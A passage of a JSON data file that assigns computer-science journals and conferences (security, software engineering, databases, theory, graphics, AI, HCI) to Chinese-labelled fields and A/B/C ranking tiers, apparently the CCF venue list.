"conf/drm": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/ih": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/acns": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/asiaccs": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/acisp": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/ctrsa": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/dimva": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/dfrws": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/fc": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/trustcom": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/sec": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/ifip11-9": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/isw": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/icdf2c": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/icics": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/securecomm": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/nspw": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/pam": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/pet": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/sacrypt": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/soups": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "*http://www.usenix.org/events/": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "journals/toplas": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "journals/tosem": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "journals/tse": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "journals/ase": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/ese": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/tsc": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/iet-sen": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/infsof": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/jfp": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/smr": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/jss": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/re": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/scp": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/sosym": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/stvr": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/spe": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "journals/cl": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "journals/ijseke": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "journals/sttt": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "journals/jlp": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "journals/jwe": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "journals/soca": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "journals/sqj": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "journals/tplp": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/pldi": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "conf/popl": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "conf/sigsoft": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "conf/sosp": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "conf/oopsla": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "conf/kbse": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "conf/icse": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "conf/issta": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "conf/osdi": ["\u8f6f\u4ef6\u5de5\u7a0b", "A"], "conf/ecoop": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/etaps": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/iwpc": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/re": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/caise": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/icfp": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/lctrts": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/models": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/cp": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/icsoc": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/wcre": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/icsm": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/vmcai": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/icws": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/middleware": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/sas": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/esem": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/fm": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/issre": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/hotos": ["\u8f6f\u4ef6\u5de5\u7a0b", "B"], "conf/pepm": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/paste": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/aplas": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/apsec": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/ease": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/iceccs": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/icst": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/ispass": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/scam": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/compsac": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/icfem": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/tools": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/IEEEscc": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/ispw": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/seke": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/qrs": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/icsr": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/icwe": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/spin": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/atva": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/lopstr": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/tase": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/msr": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/refsq": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "conf/wicsa": ["\u8f6f\u4ef6\u5de5\u7a0b", "C"], "journals/tods": ["\u6570\u636e\u5e93", "A"], "journals/tois": ["\u6570\u636e\u5e93", "A"], "journals/tkde": ["\u6570\u636e\u5e93", "A"], "journals/vldb": ["\u6570\u636e\u5e93", "A"], "journals/tkdd": ["\u6570\u636e\u5e93", "B"], "journals/tweb": ["\u6570\u636e\u5e93", "B"], "journals/aei": ["\u6570\u636e\u5e93", "B"], "journals/dke": ["\u6570\u636e\u5e93/\u4eba\u5de5\u667a\u80fd", "B"], "journals/datamine": ["\u6570\u636e\u5e93", "B"], "journals/ejis": ["\u6570\u636e\u5e93", "B"], "journals/geoinformatica": ["\u6570\u636e\u5e93", "B"], "journals/ipm": ["\u6570\u636e\u5e93", "B"], "journals/isci": ["\u6570\u636e\u5e93", "B"], "journals/is": ["\u6570\u636e\u5e93", "B"], "journals/jasis": ["\u6570\u636e\u5e93", "B"], "journals/ws": ["\u6570\u636e\u5e93", "B"], "journals/kais": ["\u6570\u636e\u5e93", "B"], "journals/dpd": ["\u6570\u636e\u5e93", "C"], "journals/iam": ["\u6570\u636e\u5e93", "C"], "journals/ipl": ["\u6570\u636e\u5e93/\u79d1\u5b66\u7406\u8bba", "C"], "journals/ir": ["\u6570\u636e\u5e93", "C"], "journals/ijcis": ["\u6570\u636e\u5e93", "C"], "journals/gis": ["\u6570\u636e\u5e93", "C"], "journals/ijis": ["\u6570\u636e\u5e93/\u4eba\u5de5\u667a\u80fd", "C"], "journals/ijkm": ["\u6570\u636e\u5e93", "C"], "journals/ijswis": ["\u6570\u636e\u5e93", "C"], "journals/jcis": ["\u6570\u636e\u5e93", "C"], "journals/jdm": ["\u6570\u636e\u5e93", "C"], "http://www.tandfonline.com/loi/ugit20#.Vnv35pN97rI": ["\u6570\u636e\u5e93", "C"], "journals/jiis": ["\u6570\u636e\u5e93", "C"], "journals/jsis": ["\u6570\u636e\u5e93", "C"], "conf/sigmod": ["\u6570\u636e\u5e93", "A"], "conf/kdd": ["\u6570\u636e\u5e93", "A"], "conf/icde": ["\u6570\u636e\u5e93", "A"], "conf/sigir": ["\u6570\u636e\u5e93", "A"], "conf/vldb": ["\u6570\u636e\u5e93", "A"], "conf/cikm": ["\u6570\u636e\u5e93", "B"], "conf/wsdm": ["\u6570\u636e\u5e93", "B"], "conf/pods": ["\u6570\u636e\u5e93", "B"], "conf/dasfaa": ["\u6570\u636e\u5e93", "B"], "conf/ecml": ["\u6570\u636e\u5e93", "B"], "conf/semweb": ["\u6570\u636e\u5e93", "B"], "conf/icdm": ["\u6570\u636e\u5e93", "B"], "conf/icdt": ["\u6570\u636e\u5e93", "B"], "conf/edbt": ["\u6570\u636e\u5e93", "B"], "conf/cidr": ["\u6570\u636e\u5e93", "B"], "conf/sdm": ["\u6570\u636e\u5e93", "B"], "conf/apweb": ["\u6570\u636e\u5e93", "C"], "conf/dexa": ["\u6570\u636e\u5e93", "C"], "conf/ecir": ["\u6570\u636e\u5e93", "C"], "conf/esws": ["\u6570\u636e\u5e93", "C"], "conf/webdb": ["\u6570\u636e\u5e93", "C"], "conf/er": ["\u6570\u636e\u5e93", "C"], "conf/mdm": ["\u6570\u636e\u5e93", "C"], "conf/ssdbm": ["\u6570\u636e\u5e93", "C"], "conf/waim": ["\u6570\u636e\u5e93", "C"], "conf/ssd": ["\u6570\u636e\u5e93", "C"], "conf/pakdd": ["\u6570\u636e\u5e93", "C"], "conf/wise": ["\u6570\u636e\u5e93", "C"], "journals/tit": ["\u79d1\u5b66\u7406\u8bba", "A"], "journals/iandc": ["\u79d1\u5b66\u7406\u8bba", "A"], "journals/siamcomp": ["\u79d1\u5b66\u7406\u8bba", "A"], "journals/talg": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/tocl": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/toms": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/algorithmica": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/cc": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/fac": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/fmsd": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/informs": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/jcss": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/jgo": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/jsc": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/mscs": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/tcs": ["\u79d1\u5b66\u7406\u8bba", "B"], "journals/acta": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/apal": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/dam": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/fuin": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/lisp": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/jc": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/logcom": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/jsyml": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/lmcs": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/siamdm": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/mst": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/stoc": ["\u79d1\u5b66\u7406\u8bba", "A"], "conf/soda": ["\u79d1\u5b66\u7406\u8bba", "A"], "conf/cav": ["\u79d1\u5b66\u7406\u8bba", "A"], "conf/focs": ["\u79d1\u5b66\u7406\u8bba", "A"], "conf/lics": ["\u79d1\u5b66\u7406\u8bba", "A"], "conf/compgeom": ["\u79d1\u5b66\u7406\u8bba", "B"], "conf/esa": ["\u79d1\u5b66\u7406\u8bba", "B"], "conf/coco": ["\u79d1\u5b66\u7406\u8bba", "B"], "conf/icalp": ["\u79d1\u5b66\u7406\u8bba", "B"], "conf/cade": ["\u79d1\u5b66\u7406\u8bba", "B"], "conf/concur": ["\u79d1\u5b66\u7406\u8bba", "B"], "conf/hybrid": ["\u79d1\u5b66\u7406\u8bba", "B"], "conf/sat": ["\u79d1\u5b66\u7406\u8bba", "B"], "conf/csl": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/fmcad": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/fsttcs": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/dsaa": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/ictac": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/ipco": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/rta": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/isaac": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/mfcs": ["\u79d1\u5b66\u7406\u8bba", "C"], "conf/stacs": ["\u79d1\u5b66\u7406\u8bba", "C"], "journals/tog": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "A"], "journals/tip": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "A"], "journals/tvcg": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "A"], "journals/cagd": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "journals/cgf": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "journals/cad": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "journals/cvgip": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "journals/tcsv": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "journals/tmm": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "http://scitation.aip.org/content/asa/journal/jasa": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "journals/siamis": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "journals/speech": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "journals/comgeo": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/jvca": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/cg": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/dcg": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/spl": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/iet-ipr": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/jvcir": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/mms": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/mta": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/sigpro": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/spic": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/vc": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/mm": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "A"], "conf/siggraph": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "A"], "conf/vr": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "A"], "conf/visualization": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "A"], "conf/mir": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/si3d": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/sca": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/dcc": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/eurographics": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/vissym": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/sgp": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/rt": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/icassp": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/icmcs": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/ismar": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/pg": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/sma": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "conf/vrst": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/ca": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/cgi": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/interspeech": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/gmp": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/apvis": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/3dim": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/cadgraphics": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/icip": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/mmm": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/pcm": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "conf/smi": ["\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "C"], "journals/ai": ["\u4eba\u5de5\u667a\u80fd", "A"], "journals/pami": ["\u4eba\u5de5\u667a\u80fd", "A"], "journals/ijcv": ["\u4eba\u5de5\u667a\u80fd", "A"], "journals/jmlr": ["\u4eba\u5de5\u667a\u80fd", "A"], "journals/tap": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/tslp": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/aamas": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/coling": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/cviu": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/ec": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/taffco": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/taslp": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/tcyb": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/tec": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/tfs": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/tnn": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/ijar": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/jair": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/jar": ["\u4eba\u5de5\u667a\u80fd", "B"], "http://jslhr.pubs.asha.org/": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/ml": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/neco": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/nn": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/par": ["\u4eba\u5de5\u667a\u80fd", "B"], "journals/talip": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/apin": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/artmed": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/alife": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/ci": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/csl": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/connection": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/dss": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/eaai": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/es": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/eswa": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/fss": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/tciaig": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/iet-cvi": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/iet-spr": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/ivc": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/ida": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/ijcia": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/ijns": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/ijprai": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/ijufks": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/ijdar": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/jetai": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/kbs": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/mt": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/mva": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/nc": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/nle": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/nca": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/npl": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/ijon": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/paa": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/prl": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/soco": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/wias": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/aaai": ["\u4eba\u5de5\u667a\u80fd", "A"], "conf/nips": ["\u4eba\u5de5\u667a\u80fd", "A"], "conf/acl": ["\u4eba\u5de5\u667a\u80fd", "A"], "conf/cvpr": ["\u4eba\u5de5\u667a\u80fd", "A"], "conf/iccv": ["\u4eba\u5de5\u667a\u80fd", "A"], "conf/icml": ["\u4eba\u5de5\u667a\u80fd", "A"], "conf/ijcai": ["\u4eba\u5de5\u667a\u80fd", "A"], "conf/colt": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/emnlp": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/ecai": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/eccv": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/icra": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/aips": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/iccbr": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/coling": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/kr": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/uai": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/atal": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/ppsn": ["\u4eba\u5de5\u667a\u80fd", "B"], "conf/aistats": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/accv": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/acml": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/bmvc": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/nlpcc": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/conll": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/gecco": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/ictai": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/iros": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/alt": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/icann": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/fgr": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/icdar": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/ilp": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/ksem": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/iconip": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/icpr": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/icb": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/ijcnn": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/pricai": ["\u4eba\u5de5\u667a\u80fd", "C"], "conf/naacl": ["\u4eba\u5de5\u667a\u80fd", "C"], "journals/tochi": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "A"], "journals/ijmms": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "A"], "journals/cscw": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "journals/hhci": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "journals/thms": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "journals/iwc": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "journals/ijhci": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "journals/umuai": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "journals/behaviourIT": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "journals/puc": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "journals/percom": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/cscw": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "A"], "conf/chi": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "A"], "conf/huc": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "A"], "conf/group": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "conf/iui": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "conf/tabletop": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "conf/uist": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "conf/ecscw": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "conf/percom": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "conf/mhci": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "B"], "conf/ACMdis": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/icmi": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/assets": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/graphicsinterface": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], 